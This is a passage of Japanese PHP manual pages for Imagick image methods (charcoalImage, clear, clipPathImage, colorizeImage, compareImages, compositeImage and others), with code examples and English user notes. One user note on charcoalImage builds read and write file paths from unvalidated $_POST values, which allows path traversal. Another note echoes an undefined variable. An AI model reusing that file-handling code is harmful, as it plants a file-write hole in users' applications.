rosh3000 at gmail dot com 06-Jul-2015 03:52
To  get an image with exact dimensions (i.e. add whitespace) use with borderImage:
$desired_width = 1000;
$desired_height = 1000;

 $image->scaleImage($desired_width,$desired_height , true);
 $image->borderImage('white', ($image->getImageWidth() - $desired_width) / 2,($image->getImageHeight() - $desired_height ) / 2);


Description

  • ≪ Imagick::borderImage
  • Imagick::charcoalImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::brightnessContrastImage

(PECL imagick 3 >= 3.3.0)

Imagick::brightnessContrastImage — Description

説明

public Imagick::brightnessContrastImage ( float $brightness , float $contrast , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Change the brightness and/or contrast of an image. It converts the brightness and contrast parameters into slope and intercept and calls a polynomical function to apply to the image.

パラメータ

brightness

contrast

channel

返り値

成功した場合に true を返します。

例

例1 Imagick::brightnessContrastImage()

<?php
function brightnessContrastImage($imagePath, $brightness, $contrast, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->brightnessContrastImage($brightness, $contrast, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


木炭画をシミュレートする

  • ≪ Imagick::brightnessContrastImage
  • Imagick::chopImage ≫
  • PHP Manual
  • Imagick
  • 木炭画をシミュレートする

Imagick::charcoalImage

(PECL imagick 2, PECL imagick 3)

Imagick::charcoalImage — 木炭画をシミュレートする

説明

public Imagick::charcoalImage ( float $radius , float $sigma ) : bool

木炭画をシミュレートします。

パラメータ

radius

ガウス分布の半径。中心を含まないピクセル数。

sigma

ガウス分布の標準偏差 (ピクセル単位)。

返り値

成功した場合に true を返します。

例

例1 Imagick::charcoalImage()

<?php
function charcoalImage($imagePath, $radius, $sigma) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->charcoalImage($radius, $sigma);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 11-Apr-2012 11:13
The parameters for this function are really scary.  Radius of the Gaussian and Standard Deviation of the Gaussian?  After playing with it for a little bit, I think I put it together.  The Gaussian is the "brush" (in Gimp/Photoshop jargin), the radius is simply the radius of the brush, and the standard deviation is the level of variation among the sizes of the brush imprints.  The $radius parameter can be anything from 0 to as high a number as you can think, but once you beyond 10, 20, or 30 pixels, depending on the image size, the whole image gets blurred beyond useful recognition.  The $sigma, being the standard deviation, should be smaller than your radius to get the desired effect.  Think of it as "Charcoal Brushes of $radius Pixels Size, with each brush being as much as $sigma Pixels bigger or smaller than that."

For an average 500 x 500 pixel image, you'll probably want a $radius of 3 to 5 and a $sigma of 1 to 3, but you can go as far as 10 pixels generally before the image is blurred beyond recognition.  (At the moment, $radius: 5 / $sigma: 2 is the perfect blend for this 400x400 image that I'm working on right now.)

There was not too help from the official documentation site for this project, either: http://www.imagemagick.org/RMagick/doc/image1.html .  The authors there note: "You can alter the intensity of the effect by changing the radius and sigma arguments."  So, my description here of the functioning is based mostly on experience rather than documentation, which is difficult to find.

The following is the entire code for applying the effect to an image.  This code will open the specified file, it will apply the charcoalImage effect to it, and then it will save it to another specified file.  The arguments are served up through POST data, and the only functions of the ImageMagick class that are used are the readImageFile, charcoalImage, and writeImageFile, as so :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Inbound Data -- Function Parameters
        // --------------------------------------------------

    $inbound_gaussian_radius = $_POST['radius_of_gaussian'];
    $inbound_standard_deviation = $_POST['standard_deviation_of_gaussian'];

        // Grab Inbound Data -- Read-File and Write-File
        // --------------------------------------------------

    $filename_for_function = $_POST['file_target'];
    $inbound_save_as_filename = $_POST['saveable_result_file'];

        // Grab Image File Data
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $filename_for_function;

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->charcoalImage($inbound_gaussian_radius, $inbound_standard_deviation);

        // Save File
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $inbound_save_as_filename;

    $file_handle_for_saving_image_file = fopen($file_to_grab_with_location, 'a+');

        // Write File
        // ---------------------------------------------

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


画像の一部を取り除き、切り詰める

  • ≪ Imagick::charcoalImage
  • Imagick::clampImage ≫
  • PHP Manual
  • Imagick
  • 画像の一部を取り除き、切り詰める

Imagick::chopImage

(PECL imagick 2, PECL imagick 3)

Imagick::chopImage — 画像の一部を取り除き、切り詰める

説明

public Imagick::chopImage ( int $width , int $height , int $x , int $y ) : bool

画像の一部を削除し、そこにあった画像をなくします。

パラメータ

width

切り取る範囲の幅。

height

切り取る範囲の高さ。

x

切り取る範囲の X 座標。

y

切り取る範囲の Y 座標。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::chopImage() の使用法

Imagick::chopImage の使用例です。

<?php
/* オブジェクトの作成 */
$image = new Imagick();
$pixel = new ImagickPixel( 'gray' );

/* 新しい画像 */
$image->newImage(400, 200, $pixel);

/* 画像の切り取り */
$image->chopImage(200, 200, 0, 0);

/* 画図おフォーマットの指定 */
$image->setImageFormat('png');

/* ヘッダをつけて画像の出力 */
header('Content-type: image/png');
echo $image;

?>

参考

  • Imagick::cropImage() - 画像の一部を抽出する

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::chopImage
  • Imagick::clear ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::clampImage

(PECL imagick 3 >= 3.3.0)

Imagick::clampImage — Description

説明

public Imagick::clampImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Restricts the color range from 0 to the quantum depth.

パラメータ

channel

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Imagick オブジェクトに関連付けられたすべてのリソースをクリアする

  • ≪ Imagick::clampImage
  • Imagick::clipImage ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトに関連付けられたすべてのリソースをクリアする

Imagick::clear

(PECL imagick 2, PECL imagick 3)

Imagick::clear — Imagick オブジェクトに関連付けられたすべてのリソースをクリアする

説明

public Imagick::clear ( ) : bool

Imagick オブジェクトに関連付けられたすべてのリソースをクリアします。

返り値

成功した場合に true を返します。

User Contributed Notes

kd0bpv at gmail dot com 05-Mar-2014 10:31
Imagick::destroy() has been deprecated in favor of Imagick::clear().
admin at dinacel dot com 16-Jun-2013 03:18
Destroy and clear methods seem to do exactly the same thing
@see http://svn.php.net/viewvc/pecl/imagick/trunk/imagick_class.c?view=markup (l.3066 & l.3087)

The code is duplicated, they do the same thing a bit differently.
markus dot s dot schmitz at gmail dot com 11-Dec-2012 08:46
One might be suprised that there seems to be no difference between:

<?php
$imagick = new Imagick();
$imagick->clear();
$imagick->readImage('myfile.jpg');
?>

and

<?php
$imagick = new Imagick();
$imagick->destroy();
$imagick->readImage('myfile.jpg');
?>

Both functions reset all options and clear all used resources so you might want to use either one of them.
See also: http://php.net/manual/en/imagick.destroy.php


8BIM プロファイルの最初のパスにそって切り取る

  • ≪ Imagick::clear
  • Imagick::clipImagePath ≫
  • PHP Manual
  • Imagick
  • 8BIM プロファイルの最初のパスにそって切り取る

Imagick::clipImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipImage — 8BIM プロファイルの最初のパスにそって切り取る

説明

public Imagick::clipImage ( ) : bool

8BIM プロファイルの最初のパスが存在する場合に、それにそって切り取ります。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::clipImage
  • Imagick::clipPathImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::clipImagePath

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::clipImagePath — Description

説明

public Imagick::clipImagePath ( string $pathname , string $inside ) : void

Clips along the named paths from the 8BIM profile, if present. Later operations take effect inside the path. Id may be a number if preceded with #, to work on a numbered path, e.g., "#1" to use the first path.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

pathname

inside

返り値

User Contributed Notes

There are no user contributed notes for this page.


8BIM プロファイルの指定した名前のパスにそって切り取る

  • ≪ Imagick::clipImagePath
  • Imagick::clone ≫
  • PHP Manual
  • Imagick
  • 8BIM プロファイルの指定した名前のパスにそって切り取る

Imagick::clipPathImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipPathImage — 8BIM プロファイルの指定した名前のパスにそって切り取る

説明

public Imagick::clipPathImage ( string $pathname , bool $inside ) : bool

8BIM プロファイルの指定した名前のパスが存在する場合に、それにそって切り取ります。 その後の操作はパスの内部に対してのみ有効となります。 番号で指定する場合は、番号の前に # を付加します。つまり "#1" とすると最初のパスを使用します。

パラメータ

pathname

パスの名前。

inside

true の場合は、その後の操作はクリップパスの内側に対して適用されます。 それ以外の場合は、その後の操作はクリップパスの外側に対して適用されます。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Coleman Nitroy 14-Mar-2008 05:15
I found Imagick::clipPathImage and Imagic::clipImage did not work as I had expected. I thought they would just clip the path and throw away the extra data and you are done. Not the case.

Here is how I was able to use a clipping path:

<?php
      $img = new Imagick("/Path/To/Test/Image.psd");
      $geometry = $img->getImageGeometry();

      // Uses the first path as the clipping path
      $img->clipPathImage("#1", false);

      // Fill the clipped part with a color
      $draw = new ImagickDraw();
      $draw->setFillColor("#000000");
      $draw->color(0,0, imagick::PAINT_RESET);
      $img->drawImage($draw);

      // Composite the clipped image with the old image. Set the color of the composite to any color you want to be the outside part.
      $composite = new Imagick($path);
      $composite->newImage( $geometry['width'], $geometry['height'], new ImagickPixel("white"), 'png');
      $composite->compositeImage($img, imagick::COMPOSITE_COPY, 0, 0);
?>

Then doing any resizing or creating thumbnails from the resulting image  disregarded all the previous commands so I "saved" it and started with a new Imagick object

<?php
      // Copy the image so clip is "saved"
      $clipped = new Imagick();
      $clipped->readImageBlob($composite->getImageBlob());
?>

I'm sure there is a simpler way, but this took me awhile to get right and there were some hurdles to cross so I hope it is able to help someone on the way.

This is all the convert equivalent of:

$ convert Test.psd -fill white -colorspace rgb -draw "color 0 0 reset" -clip -colorspace rgb -draw "Image Copy 0,0 0,0 'Test.psd'" OutputFile.png


Imagick オブジェクトの完全なコピーを作成する

  • ≪ Imagick::clipPathImage
  • Imagick::clutImage ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトの完全なコピーを作成する

Imagick::clone

(PECL imagick 2, PECL imagick 3)

Imagick::clone — Imagick オブジェクトの完全なコピーを作成する

説明

public Imagick::clone ( ) : Imagick

Imagick オブジェクトの完全なコピーを作成します。

警告

この関数は imagick 3.1.0 で 非推奨 となりました。 かわりに clone キーワードを使います。

例

例1 Imagick オブジェクトのクローン

<?php
// imagick 2.x および 3.0 の場合
$newImage = $image->clone();

// 3.1.0 以降の場合
$newImage = clone $image;
?>

返り値

Imagick オブジェクトのコピーを返します。

変更履歴

バージョン | 説明
PECL imagick 3.1.0 | このメソッドは非推奨となりました。かわりに clone キーワードを使います。

User Contributed Notes

There are no user contributed notes for this page.


画像の色を置き換える

  • ≪ Imagick::clone
  • Imagick::coalesceImages ≫
  • PHP Manual
  • Imagick
  • 画像の色を置き換える

Imagick::clutImage

(PECL imagick 2, PECL imagick 3)

Imagick::clutImage — 画像の色を置き換える

説明

public Imagick::clutImage ( Imagick $lookup_table , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像の色を、ルックアップテーブルをもとに置き換えます。 オプションの 2 番目のパラメータを指定すると、 特定のチャネルの色を置き換えます。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

lookup_table

色ルックアップテーブルを含む Imagick オブジェクト。

channel

チャネルタイプ 定数。 省略した場合はデフォルトチャネルが対象となります。

返り値

成功した場合に true を返します。

例

例1 Imagick::clutImage() の使用法

画像の色を、ルックアップテーブルをもとに置き換えます。

<?php
$image = new Imagick('test.jpg');
$clut = new Imagick();
$clut->newImage(1, 1, new ImagickPixel('black'));
$image->clutImage($clut);
$image->writeImage('test_out.jpg');
?>

参考

  • Imagick::adaptiveBlurImage() - adaptive blur (順応性にじみ) フィルタを画像に追加する
  • Imagick::motionBlurImage() - モーションブラーをシミュレートする
  • Imagick::radialBlurImage() - 画像にラジアルブラーを施す

User Contributed Notes

There are no user contributed notes for this page.


複数の画像を合成する

  • ≪ Imagick::clutImage
  • Imagick::colorFloodfillImage ≫
  • PHP Manual
  • Imagick
  • 複数の画像を合成する

Imagick::coalesceImages

(PECL imagick 2, PECL imagick 3)

Imagick::coalesceImages — 複数の画像を合成する

説明

public Imagick::coalesceImages ( ) : Imagick

ページオフセットや処理方法を指定して、複数の画像を合成します。 典型的な使用例としては、たとえば GIF や MIFF、MNG といった画像シーケンスを最初に背景として指定し、 それ以降にさまざまなサイズやオフセットの画像を合成するというものがあります。 返り値は、新規 Imagick オブジェクトとなります。 シーケンスの各画像のサイズは、最初の画像のサイズと同じになります。

返り値

成功した場合に新規 Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Anony 08-Feb-2016 04:09
If you wish to open an animated gif, don't ping the image with $imagick->pingImage(), you will get the same amount of frames you have in the gif, added to the start - but they're all black with stripes. So you have then double the amounts of frames the gif actually has.
dikirill 08-Mar-2013 04:51
I tried examples below, and couldn't make them work. And found that version of my php-imagick extension is 3.1.0RC1, and looks like it's buggy in function "writeImages", downgrade to 3.0.1 helped me.
ktr 17-Oct-2012 08:06
resize and/or crop an animated GIF

<?php
$image = new Imagick($file_src);

$image = $image->coalesceImages();

foreach ($image as $frame) {
  $frame->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
  $frame->thumbnailImage($size_w, $size_h);
  $frame->setImagePage($size_w, $size_h, 0, 0);
}

$image = $image->deconstructImages();
$image->writeImages($file_dst, true);
?>
vikomic at gmail dot com 02-May-2011 03:58
Here goes an exaple how to resize GIF-s.

<?php
$imagick = new Imagick("original.gif");

$format = $imagick->getImageFormat();
if ($format == 'GIF') {
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(120, 120, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_120x120.gif', true);

  // can be added some more gifs
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(100, 100, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_100x100.gif', true);
}

$imagick->clear();
$imagick->destroy();
?>

You can use any resize method (resizeImage) with this example.

This example works fine with *imagick module version 2.2.1-dev*, but doesn't work correctly with *imagick module version 3.0.1*.


対象にマッチする任意の点の色の値を変更する

  • ≪ Imagick::coalesceImages
  • Imagick::colorizeImage ≫
  • PHP Manual
  • Imagick
  • 対象にマッチする任意の点の色の値を変更する

Imagick::colorFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorFloodfillImage — 対象にマッチする任意の点の色の値を変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y ) : bool

対象にマッチする任意の点の色の値を変更します。

パラメータ

fill

塗りつぶし色を表す ImagickPixel オブジェクト。

fuzz

fuzz の量。たとえば fuzz を 10 に設定すると、 赤の輝度が 100 および 102 の点は同じ色とみなされます。

bordercolor

枠線の色を表す ImagickPixel オブジェクト。

x

開始位置の X 座標。

y

開始位置の Y 座標。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータと三番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

memmie at lenglet dot name 29-Apr-2014 09:39
Imagick::colorFloodFillImage is depreciated. You should use Imagick::paintFloodfillImage (replaced by Imagick::floodFillPaintImage in ImageMagick 6.3.8)


塗りつぶし色と画像を混合する

  • ≪ Imagick::colorFloodfillImage
  • Imagick::colorMatrixImage ≫
  • PHP Manual
  • Imagick
  • 塗りつぶし色と画像を混合する

Imagick::colorizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorizeImage — 塗りつぶし色と画像を混合する

説明

public Imagick::colorizeImage ( mixed $colorize , mixed $opacity , bool $legacy = false ) : bool

画像の各ピクセルに、塗りつぶし色を混合します。

パラメータ

colorize

色を表す ImagickPixel オブジェクトあるいは文字列。

opacity

不透明度を表す ImagickPixel オブジェクトあるいは文字列。 1.0 は完全に不透明、0.0 は完全に透明であることを表します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして、 不透明度を表す浮動小数点数値を 2 番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::colorizeImage()

<?php
function colorizeImage($imagePath, $color, $opacity) {
    $imagick = new \Imagick(realpath($imagePath));
    $opacity = $opacity / 255.0;
    $opacityColor = new \ImagickPixel("rgba(0, 0, 0, $opacity)");
    $imagick->colorizeImage($color, $opacityColor);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Alex Lokhman [VisioN] 22-Mar-2014 02:35
If you're looking for a solution to fill the image with a solid color, preserving background transparency, here is one way:

<?php
$im = new Imagick('image.png');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
$im->setImageBackgroundColor('color');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_SHAPE);
$im->writeImage('output.png');
$im->destroy();
?>
olav at redwall dot ee 18-Dec-2013 12:24
To improve upon "php at lfbittencourt dot com"'s solution, this one blends the composited color, and takes opacity into account as well.

<?php
class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1, $composite_flag = Imagick::COMPOSITE_COLORIZE)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $temporary = new Imagick();
        $temporary->setBackgroundColor(new ImagickPixel('transparent'));
        $temporary->newImage($width, $height, new ImagickPixel('transparent'));
        $temporary->setImageFormat('png32');
        $temporary->drawImage($draw);

        $alphaChannel = $this->clone();
        $alphaChannel->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
        $alphaChannel->negateImage(false, Imagick::CHANNEL_ALL);
        $this->setImageClipMask($alphaChannel);

        $clone = $this->clone();
        $clone->compositeImage($temporary, $composite_flag, 0, 0);
        $clone->setImageOpacity($alpha);

        $this->compositeImage($clone, Imagick::COMPOSITE_DEFAULT, 0, 0);
    }
}
?>
php at lfbittencourt dot com 11-May-2012 01:26
Do you want a color overlay with TRUE opacity control? Try this:

<?php

class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        if (is_float($alpha)) {
            $draw->setFillAlpha($alpha);
        }

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $this->drawImage($draw);
    }
}

?>

How to use:

<?php

$imagick = new YourImagick('example.png');

$imagick->colorize('#ffcc00', 0.35);

header('Content-type: image/png');

echo $source;

?>
talkol at gmail dot com 28-Dec-2011 07:19
When you're using an image with an alpha channel (for example a transparent png), a value of 1.0 will return a completely transparent image, but a value of 1 works just fine.
lsmartinez at gmail dot com 08-Apr-2009 09:42
simplest example

<?php
$nombre = '001-4-0043.jpg';
$img = new Imagick($nombre);
$img->negateImage(false);
//$pixblu = new ImagickPixel('#000040');
$img->colorizeImage('#0000b0',1.0);
header('content-type: image/jpeg');
echo $img;
?>


Description

  • ≪ Imagick::colorizeImage
  • Imagick::combineImages ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::colorMatrixImage

(PECL imagick 3 >= 3.3.0)

Imagick::colorMatrixImage — Description

説明

public Imagick::colorMatrixImage ( array $color_matrix = Imagick::CHANNEL_DEFAULT ) : bool

Apply color transformation to an image. The method permits saturation changes, hue rotation, luminance to alpha, and various other effects. Although variable-sized transformation matrices can be used, typically one uses a 5x5 matrix for an RGBA image and a 6x6 for CMYKA (or RGBA with offsets). The matrix is similar to those used by Adobe Flash except offsets are in column 6 rather than 5 (in support of CMYKA images) and offsets are normalized (divide Flash offset by 255)

パラメータ

color_matrix

返り値

成功した場合に true を返します。

例

例1 Imagick::colorMatrixImage()

<?php
function colorMatrixImage($imagePath, $colorMatrix) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setImageOpacity(1);

    //A color matrix should look like:
    //    $colorMatrix = [
    //        1.5, 0.0, 0.0, 0.0, 0.0, -0.157,
    //        0.0, 1.0, 0.5, 0.0, 0.0, -0.157,
    //        0.0, 0.0, 1.5, 0.0, 0.0, -0.157,
    //        0.0, 0.0, 0.0, 1.0, 0.0,  0.0,
    //        0.0, 0.0, 0.0, 0.0, 1.0,  0.0,
    //        0.0, 0.0, 0.0, 0.0, 0.0,  1.0
    //    ];

    $background = new \Imagick();
    $background->newPseudoImage($imagick->getImageWidth(), $imagick->getImageHeight(),  "pattern:checkerboard");

    $background->setImageFormat('png');

    $imagick->setImageFormat('png');
    $imagick->colorMatrixImage($colorMatrix);

    $background->compositeImage($imagick, \Imagick::COMPOSITE_ATOP, 0, 0);

    header("Content-Type: image/png");
    echo $background->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


ひとつあるいは複数の画像をひとつにまとめる

  • ≪ Imagick::colorMatrixImage
  • Imagick::commentImage ≫
  • PHP Manual
  • Imagick
  • ひとつあるいは複数の画像をひとつにまとめる

Imagick::combineImages

(PECL imagick 2, PECL imagick 3)

Imagick::combineImages — ひとつあるいは複数の画像をひとつにまとめる

説明

public Imagick::combineImages ( int $channelType ) : Imagick

ひとつあるいは複数の画像をひとつにまとめます。 一連の画像の各ピクセルのグレースケール値が、 合成した画像の特定のチャネルの値となります。典型的なパターンでは 画像 1 => Red、画像 2 => Green、画像 3 => Blue などとなります。

パラメータ

channelType

そのチャネルモードで使用可能なチャネル定数のいずれか。 複数のチャネルを適用するには、channeltype 定数をビット演算子でまとめます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


コメントを画像に追加する

  • ≪ Imagick::combineImages
  • Imagick::compareImageChannels ≫
  • PHP Manual
  • Imagick
  • コメントを画像に追加する

Imagick::commentImage

(PECL imagick 2, PECL imagick 3)

Imagick::commentImage — コメントを画像に追加する

説明

public Imagick::commentImage ( string $comment ) : bool

コメントを画像に追加します。

パラメータ

comment

追加するコメント。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::commentImage() の使用法

画像にコメントを追加し、そのコメントを取得します。

<?php

/* 新しい Imagick オブジェクトを作成します */
$im = new imagick();

/* 空の画像を作成します */
$im->newImage(100, 100, new ImagickPixel("red"));

/* コメントをその画像に追加します */
$im->commentImage("Hello World!");

/* コメントを表示します */
echo $im->getImageProperty("comment");

?>

User Contributed Notes

nick_khor at hotmail dot com 02-Sep-2020 02:55
This function only support JPEG file.

https://github.com/Imagick/imagick/issues/124#issuecomment-226942140


ひとつあるいは複数の画像の差を返す

  • ≪ Imagick::commentImage
  • Imagick::compareImageLayers ≫
  • PHP Manual
  • Imagick
  • ひとつあるいは複数の画像の差を返す

Imagick::compareImageChannels

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageChannels — ひとつあるいは複数の画像の差を返す

説明

public Imagick::compareImageChannels ( Imagick $image , int $channelType , int $metricType ) : array

ひとつあるいは複数の画像を比較し、差分の画像を返します。

パラメータ

image

比較する画像を含む Imagick オブジェクト。

channelType

そのチャネルモードで使用可能なチャネル定数を指定します。 複数のチャネルを指定するには、チャネル型定数をビット演算子で結合します。 チャネル定数 の一覧を参照ください。

metricType

メトリック型定数 のいずれか。

返り値

new_wand と distortion を含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


複数の画像の中で最大の境界範囲を返す

  • ≪ Imagick::compareImageChannels
  • Imagick::compareImages ≫
  • PHP Manual
  • Imagick
  • 複数の画像の中で最大の境界範囲を返す

Imagick::compareImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageLayers — 複数の画像の中で最大の境界範囲を返す

説明

public Imagick::compareImageLayers ( int $method ) : Imagick

各画像をシーケンス内の次の画像と比較し、 最大の境界範囲を返します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

method

レイヤメソッド定数 のいずれか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::compareImageLayers() の使用法

画像のレイヤを比較します。

<?php
/* 新しい imagick オブジェクトを作成します */
$im = new Imagick("test.gif");

/* 画像のレイヤを最適化します */
$result = $im->compareImageLayers(imagick::LAYERMETHOD_COALESCE);

/* $result を使って作業をします */
?>

参考

  • Imagick::optimizeImageLayers() - 画像の繰り返し部分を削除して最適化する
  • Imagick::writeImages() - 画像あるいは画像シーケンスを書き込む
  • Imagick::writeImage() - 指定した名前で画像を書き込む

User Contributed Notes

There are no user contributed notes for this page.


ある画像を再構築された画像と比較する

  • ≪ Imagick::compareImageLayers
  • Imagick::compositeImage ≫
  • PHP Manual
  • Imagick
  • ある画像を再構築された画像と比較する

Imagick::compareImages

(PECL imagick 2, PECL imagick 3)

Imagick::compareImages — ある画像を再構築された画像と比較する

説明

public Imagick::compareImages ( Imagick $compare , int $metric ) : array

再構築された画像と画像の差異を含む配列を返します。

パラメータ

compare

比較したい画像。

metric

メトリック定数を指定します。この メトリック定数 の一覧を参照ください。

返り値

再構築された画像と画像の差異を含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::compareImages() の使用法

画像を比較し、再構築された画像を表示します。

<?php

$image1 = new imagick("image1.png");
$image2 = new imagick("image2.png");

$result = $image1->compareImages($image2, Imagick::METRIC_MEANSQUAREERROR);
$result[0]->setImageFormat("png");

header("Content-Type: image/png");
echo $result[0];

?>

User Contributed Notes

info at celeste-design dot de 12-Aug-2014 02:58
If you get the following non-descriptive error message:

Uncaught exception 'ImagickException' with message 'Compare images failed'

Check your picture dimensions! i compared a 21x20 png to a 20x20 png which resulted in that error. Took me forever to figure out that the dimensions have to be exactly the same.
Tim K and Sam M @netflix 01-May-2014 06:09
The *Absolute Error* metric is not listed as an available metric constant. However, you can still use it if needed by passing the internal constant definition for AE which is 1. This is useful when you wish to compare using a desired fuzz factor. Example:

<?php
// init the image objects
$image1 = new imagick();
$image2 = new imagick();

// set the fuzz factor (must be done BEFORE reading in the images)
$image1->SetOption('fuzz', '2%');

// read in the images
$image1->readImage("php_step29_actual.png");
$image2->readImage("php_step29_correct.png");

// compare the images using METRIC=1 (Absolute Error)
$result = $image1->compareImages($image2, 1);

// print out the result
echo "The image comparison 2% Fuzz factor is: " . $result[1];
?>


ある画像を別の画像に合成する

  • ≪ Imagick::compareImages
  • Imagick::__construct ≫
  • PHP Manual
  • Imagick
  • ある画像を別の画像に合成する

Imagick::compositeImage

(PECL imagick 2, PECL imagick 3)

Imagick::compositeImage — ある画像を別の画像に合成する

説明

public Imagick::compositeImage ( Imagick $composite_object , int $composite , int $x , int $y , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

ある画像を、別の画像の指定した位置に合成します。 合成アルゴリズムに指定する引数は、 setImageArtifact の第一パラメータに 'compose:args'、第二パラメータにデータを渡す必要があります。

パラメータ

composite_object

合成する画像を保持する Imagick オブジェクト。

compose

合成演算子。合成演算定数 を参照ください。

x

合成する位置の列オフセット。

y

合成する位置の行オフセット。

channel

そのチャネルモードで使用可能なチャネル定数を指定します。 複数のチャネルを指定するには、チャネル型定数をビット演算子で結合します。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::compositeImage() の利用例

二つの画像を 'mathematics' 方式で合成します。

<?php

// これは、以下のコマンドを実行するのと同等の処理です
// convert src1.png src2.png -compose mathematics -define compose:args="1,0,-0.5,0.5" -composite output.png

$src1 = new \Imagick("./src1.png");
$src2 = new \Imagick("./src2.png");

$src1->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$src1->setImageArtifact('compose:args', "1,0,-0.5,0.5");
$src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);
$src1->writeImage("./output.png");

?>

参考

  • Imagick::setImageArtifact() - 画像のアーチファクトを設定する

User Contributed Notes

elizapinchley at google dot com 10-Jan-2021 11:16
There has been changes to Imagick constants in new version. Please read new list of constants like this.

<?php

$img = new \Imagick();
$reflection_class = new ReflectionClass($img);

die(var_dump($reflection_class->getConstants()));

?>
Iddles 05-Jul-2011 10:01
To copy the alpha channel from one image to another, you can do the following:

<?php

$img1 = new Imagick( "image1.png" );
$img2 = new Imagick( "image2.png" );

$img1->compositeImage( $img2, imagick::COMPOSITE_COPYOPACITY, 0, 0 );

header('Content-type: image/png');
echo $img1;

?>
